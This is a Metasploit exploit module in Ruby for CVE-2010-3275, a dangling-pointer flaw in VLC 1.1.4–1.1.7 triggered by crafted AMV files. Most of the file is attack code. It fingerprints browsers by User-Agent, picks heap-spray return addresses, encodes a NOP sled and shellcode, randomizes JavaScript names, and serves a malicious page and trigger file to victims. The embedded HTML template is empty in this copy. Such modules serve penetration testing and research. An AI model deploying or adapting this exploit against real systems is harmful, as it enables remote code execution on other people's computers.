##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info={})
super(update_info(info,
'Name' => "VLC AMV Dangling Pointer Vulnerability",
'Description' => %q{
This module exploits VLC media player when handling a .AMV file. By flipping the 0x41st
byte in the file format (video width/height), VLC crashes due to an invalid pointer, which
allows remote attackers to gain arbitrary code execution.
The vulnerable packages include:
VLC 1.1.4
VLC 1.1.5
VLC 1.1.6
VLC 1.1.7
},
'License' => MSF_LICENSE,
'Version' => "$Revision$",
'Author' =>
[
'sinn3r',
],
'References' =>
[
['CVE', 'CVE-2010-3275'],
['URL', 'http://www.coresecurity.com/content/vlc-vulnerabilities-amv-nsv-files'],
],
'Payload' =>
{
'BadChars' => "\x00",
'space' => 1000,
'StackAdjustment' => -3500,
},
'DefaultOptions' =>
{
'ExitFunction' => "process",
'InitialAutoRunScript' => 'migrate -f',
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[ 'Windows XP SP3 IE6', {'Ret'=>0x0c0c0c0c} ],
[ 'Windows XP SP3 IE7', {'Ret'=>0x1c1c1c1c} ],
],
'DisclosureDate' => "Mar 23 2011",
'DefaultTarget' => 0))
end
def getRet(cli, request)
if target.name == 'Automatic'
agent = request.headers['User-Agent']
case agent
when /MSIE 6\.0/
return [0x0c0c0c0c].pack('V') * 8
when /MSIE 7\.0/
return [0x1c1c1c1c].pack('V') * 8
when /^vlc/
#VLC identifies itself as "VLC" when requesting our trigger file
return ""
when /^NSPlayer/
#NSPlayer is also used while requesting the trigger file
return ""
else
return nil
end
else
#User manually specified a target
return [target.ret].pack('V') * 8
end
end
def exploit
path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2010-3275.amv")
f = File.open(path, "rb")
@trigger = f.read
f.close
super
end
def on_request_uri(cli, request)
#Determine if client is a potential victim either manually or automatically,
#and then return the appropriate EIP
nops = getRet(cli, request)
if nops == nil
send_not_found(cli)
return
end
if request.uri.match(/\.amv/)
print_status("Sending trigger file to #{cli.peerhost}:#{cli.peerport}")
send_response(cli, @trigger, { 'Content-Type' => 'text/plain' } )
return
end
nopsled = Rex::Text.to_unescape(nops, Rex::Arch.endian(target.arch))
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
js_func_name = rand_text_alpha(rand(6) + 3)
js_var_blocks_name = rand_text_alpha(rand(6) + 3)
js_var_shell_name = rand_text_alpha(rand(6) + 3)
js_var_nopsled_name = rand_text_alpha(rand(6) + 3)
js_var_index_name = rand_text_alpha(rand(6) + 3)
trigger_file = datastore['URIPATH'] + "/" + rand_text_alpha(rand(6) + 3) + ".amv"
html = <<-EOS
EOS
#Remove extra tabs in HTML
html = html.gsub(/^\t\t/, "")
print_status("Sending malicious page to #{cli.peerhost}:#{cli.peerport}...")
send_response( cli, html, {'Content-Type' => 'text/html'} )
end
end